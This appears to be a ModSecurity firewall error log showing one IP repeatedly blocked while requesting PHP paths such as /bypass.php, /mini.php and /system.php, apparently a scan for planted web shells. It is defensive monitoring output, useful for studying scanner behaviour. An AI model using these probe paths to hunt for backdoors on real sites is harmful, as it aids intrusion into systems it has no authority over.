[Fri Feb 27 23:41:28.431854 2026] [:error] [pid 52073:tid 52093] [client 52.138.25.109:39923] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaG7KIa650YPyxXVeRbisAAAAZE"]
[Fri Feb 27 23:41:28.845126 2026] [:error] [pid 52073:tid 52088] [client 52.138.25.109:39885] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaG7KIa650YPyxXVeRbitwAAAYw"]
[Fri Feb 27 23:41:29.256483 2026] [:error] [pid 52073:tid 52100] [client 52.138.25.109:39912] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaG7KYa650YPyxXVeRbivAAAAZg"]
[Fri Feb 27 23:41:29.666477 2026] [:error] [pid 52073:tid 52098] [client 52.138.25.109:39930] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaG7KYa650YPyxXVeRbivQAAAZY"]
[Fri Feb 27 23:41:30.082624 2026] [:error] [pid 52073:tid 52083] [client 52.138.25.109:39915] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "aaG7Koa650YPyxXVeRbivwAAAYc"]
[Fri Feb 27 23:41:30.491314 2026] [:error] [pid 49306:tid 49329] [client 52.138.25.109:39887] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "aaG7KvnSUDZue59Px9t9TwAAAVU"]
[Fri Feb 27 23:41:30.898578 2026] [:error] [pid 54231:tid 54242] [client 52.138.25.109:39811] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "aaG7KuTvb5AeyJCdY7BOnwAAAEg"]
[Fri Feb 27 23:41:31.308297 2026] [:error] [pid 62998:tid 63016] [client 52.138.25.109:39820] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "aaG7K1QeueXZDUmoLomTJAAAAQ4"]
[Fri Feb 27 23:41:31.717533 2026] [:error] [pid 62998:tid 63007] [client 52.138.25.109:39897] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aaG7K1QeueXZDUmoLomTJwAAAQU"]
[Fri Feb 27 23:41:32.126791 2026] [:error] [pid 54102:tid 54161] [client 52.138.25.109:39813] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aaG7LHi74D4fiYUm_GeZGwAAAJE"]
[Fri Feb 27 23:41:32.538619 2026] [:error] [pid 54101:tid 54126] [client 52.138.25.109:39831] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aaG7LFY5qgRktcYTGFtjegAAAdI"]
[Fri Feb 27 23:41:32.950364 2026] [:error] [pid 49306:tid 49322] [client 52.138.25.109:39913] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aaG7LPnSUDZue59Px9t9VAAAAU4"]
[Fri Feb 27 23:41:33.361512 2026] [:error] [pid 54231:tid 54253] [client 52.138.25.109:39779] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaG7LeTvb5AeyJCdY7BOpQAAAFM"]
[Fri Feb 27 23:41:33.774809 2026] [:error] [pid 54231:tid 54250] [client 52.138.25.109:39896] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaG7LeTvb5AeyJCdY7BOpgAAAFA"]
[Fri Feb 27 23:41:34.192787 2026] [:error] [pid 54103:tid 54185] [client 52.138.25.109:39917] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaG7LuvG4MPCmE0B2sDVcQAAAM4"]
[Fri Feb 27 23:41:34.603572 2026] [:error] [pid 54103:tid 54186] [client 52.138.25.109:39879] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaG7LuvG4MPCmE0B2sDVcwAAAM8"]
[Fri Feb 27 23:41:35.037597 2026] [:error] [pid 54101:tid 54108] [client 52.138.25.109:39814] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aaG7L1Y5qgRktcYTGFtjfgAAAcA"]
[Fri Feb 27 23:41:35.449862 2026] [:error] [pid 56075:tid 56101] [client 52.138.25.109:39824] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aaG7L8KBhrfI6KNv9Rh5HgAAABc"]
[Fri Feb 27 23:41:35.860450 2026] [:error] [pid 54231:tid 54252] [client 52.138.25.109:39921] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aaG7L-Tvb5AeyJCdY7BOqwAAAFI"]
[Fri Feb 27 23:41:36.272070 2026] [:error] [pid 54102:tid 54160] [client 52.138.25.109:39935] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aaG7MHi74D4fiYUm_GeZHwAAAJA"]
[Fri Feb 27 23:41:36.683138 2026] [:error] [pid 54101:tid 54123] [client 52.138.25.109:39819] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aaG7MFY5qgRktcYTGFtjgAAAAc8"]
[Fri Feb 27 23:41:37.093735 2026] [:error] [pid 54103:tid 54176] [client 52.138.25.109:39765] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aaG7MevG4MPCmE0B2sDVdQAAAMU"]
[Fri Feb 27 23:41:37.504267 2026] [:error] [pid 54102:tid 54146] [client 52.138.25.109:39890] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aaG7MXi74D4fiYUm_GeZIgAAAII"]
[Fri Feb 27 23:41:37.913824 2026] [:error] [pid 54231:tid 54239] [client 52.138.25.109:39821] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aaG7MeTvb5AeyJCdY7BOrwAAAEU"]
[Fri Feb 27 23:41:38.329260 2026] [:error] [pid 56075:tid 56082] [client 52.138.25.109:39843] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aaG7MsKBhrfI6KNv9Rh5IgAAAAU"]
[Fri Feb 27 23:41:38.741508 2026] [:error] [pid 56075:tid 56096] [client 52.138.25.109:39875] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aaG7MsKBhrfI6KNv9Rh5JQAAABI"]
[Fri Feb 27 23:41:39.151374 2026] [:error] [pid 56075:tid 56083] [client 52.138.25.109:39934] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aaG7M8KBhrfI6KNv9Rh5KAAAAAY"]
[Fri Feb 27 23:41:39.562452 2026] [:error] [pid 52073:tid 52087] [client 52.138.25.109:39863] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aaG7M4a650YPyxXVeRbi1gAAAYs"]
[Fri Feb 27 23:41:39.976188 2026] [:error] [pid 56075:tid 56080] [client 52.138.25.109:39848] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaG7M8KBhrfI6KNv9Rh5KwAAAAM"]
[Fri Feb 27 23:41:40.387717 2026] [:error] [pid 54231:tid 54238] [client 52.138.25.109:39874] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaG7NOTvb5AeyJCdY7BOuAAAAEQ"]
[Fri Feb 27 23:41:40.798302 2026] [:error] [pid 62998:tid 63014] [client 52.138.25.109:39928] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaG7NFQeueXZDUmoLomTMgAAAQw"]
[Fri Feb 27 23:41:41.207621 2026] [:error] [pid 62998:tid 63011] [client 52.138.25.109:39914] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaG7NVQeueXZDUmoLomTNAAAAQk"]
[Fri Feb 27 23:41:41.618309 2026] [:error] [pid 54231:tid 54240] [client 52.138.25.109:39855] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaG7NeTvb5AeyJCdY7BOugAAAEY"]
[Fri Feb 27 23:41:42.034658 2026] [:error] [pid 54103:tid 54194] [client 52.138.25.109:39835] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaG7NuvG4MPCmE0B2sDVgAAAANc"]
[Fri Feb 27 23:41:42.444987 2026] [:error] [pid 52073:tid 52078] [client 52.138.25.109:39838] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaG7Noa650YPyxXVeRbi2wAAAYI"]
[Fri Feb 27 23:41:42.860946 2026] [:error] [pid 54231:tid 54250] [client 52.138.25.109:39889] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaG7NuTvb5AeyJCdY7BOvAAAAFA"]
[Fri Feb 27 23:41:43.294809 2026] [:error] [pid 62998:tid 63005] [client 52.138.25.109:39865] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug.php"] [unique_id "aaG7N1QeueXZDUmoLomTNQAAAQM"]
[Fri Feb 27 23:41:43.712020 2026] [:error] [pid 52073:tid 52093] [client 52.138.25.109:39931] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug.php"] [unique_id "aaG7N4a650YPyxXVeRbi4gAAAZE"]
[Fri Feb 27 23:41:44.122937 2026] [:error] [pid 52073:tid 52088] [client 52.138.25.109:39826] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug.php"] [unique_id "aaG7OIa650YPyxXVeRbi6AAAAYw"]
[Fri Feb 27 23:41:44.532732 2026] [:error] [pid 52073:tid 52079] [client 52.138.25.109:39910] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug.php"] [unique_id "aaG7OIa650YPyxXVeRbi7AAAAYM"]
[Fri Feb 27 23:41:44.944093 2026] [:error] [pid 52073:tid 52099] [client 52.138.25.109:39833] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aaG7OIa650YPyxXVeRbi8AAAAZc"]
[Fri Feb 27 23:41:45.359512 2026] [:error] [pid 56075:tid 56087] [client 52.138.25.109:39929] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aaG7OcKBhrfI6KNv9Rh5NwAAAAo"]
[Fri Feb 27 23:41:45.768111 2026] [:error] [pid 56075:tid 56081] [client 52.138.25.109:39860] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aaG7OcKBhrfI6KNv9Rh5PQAAAAQ"]
[Fri Feb 27 23:41:46.206081 2026] [:error] [pid 56075:tid 56090] [client 52.138.25.109:39872] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aaG7OsKBhrfI6KNv9Rh5QgAAAAw"]
[Fri Feb 27 23:41:46.641945 2026] [:error] [pid 52073:tid 52085] [client 52.138.25.109:39745] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaG7Ooa650YPyxXVeRbi9gAAAYk"]
[Fri Feb 27 23:41:47.112513 2026] [:error] [pid 54102:tid 54162] [client 52.138.25.109:39878] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaG7O3i74D4fiYUm_GeZJAAAAJI"]
[Fri Feb 27 23:41:47.577507 2026] [:error] [pid 54231:tid 54234] [client 52.138.25.109:39859] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaG7O-Tvb5AeyJCdY7BOxgAAAEA"]
[Fri Feb 27 23:41:48.040019 2026] [:error] [pid 52073:tid 52099] [client 52.138.25.109:39816] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaG7PIa650YPyxXVeRbi_wAAAZc"]
[Fri Feb 27 23:41:48.514784 2026] [:error] [pid 54231:tid 54245] [client 52.138.25.109:39881] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/999.php"] [unique_id "aaG7POTvb5AeyJCdY7BOywAAAEs"]
[Fri Feb 27 23:41:48.982465 2026] [:error] [pid 52073:tid 52088] [client 52.138.25.109:39932] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/999.php"] [unique_id "aaG7PIa650YPyxXVeRbjCgAAAYw"]
[Fri Feb 27 23:41:49.432047 2026] [:error] [pid 52073:tid 52095] [client 52.138.25.109:39769] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/999.php"] [unique_id "aaG7PYa650YPyxXVeRbjDAAAAZM"]
[Fri Feb 27 23:41:49.886475 2026] [:error] [pid 56075:tid 56086] [client 52.138.25.109:39780] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/999.php"] [unique_id "aaG7PcKBhrfI6KNv9Rh5TgAAAAk"]
[Fri Feb 27 23:41:50.338964 2026] [:error] [pid 56075:tid 56080] [client 52.138.25.109:39763] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaG7PsKBhrfI6KNv9Rh5VAAAAAM"]
[Fri Feb 27 23:41:50.794557 2026] [:error] [pid 56075:tid 56098] [client 52.138.25.109:39753] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaG7PsKBhrfI6KNv9Rh5WQAAABQ"]
[Fri Feb 27 23:41:51.256768 2026] [:error] [pid 54101:tid 54110] [client 52.138.25.109:39877] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaG7P1Y5qgRktcYTGFtjkQAAAcI"]
[Fri Feb 27 23:41:51.729640 2026] [:error] [pid 54231:tid 54240] [client 52.138.25.109:39842] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaG7P-Tvb5AeyJCdY7BO0AAAAEY"]
[Fri Feb 27 23:41:52.190706 2026] [:error] [pid 52073:tid 52093] [client 52.138.25.109:39903] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data.php"] [unique_id "aaG7QIa650YPyxXVeRbjGgAAAZE"]
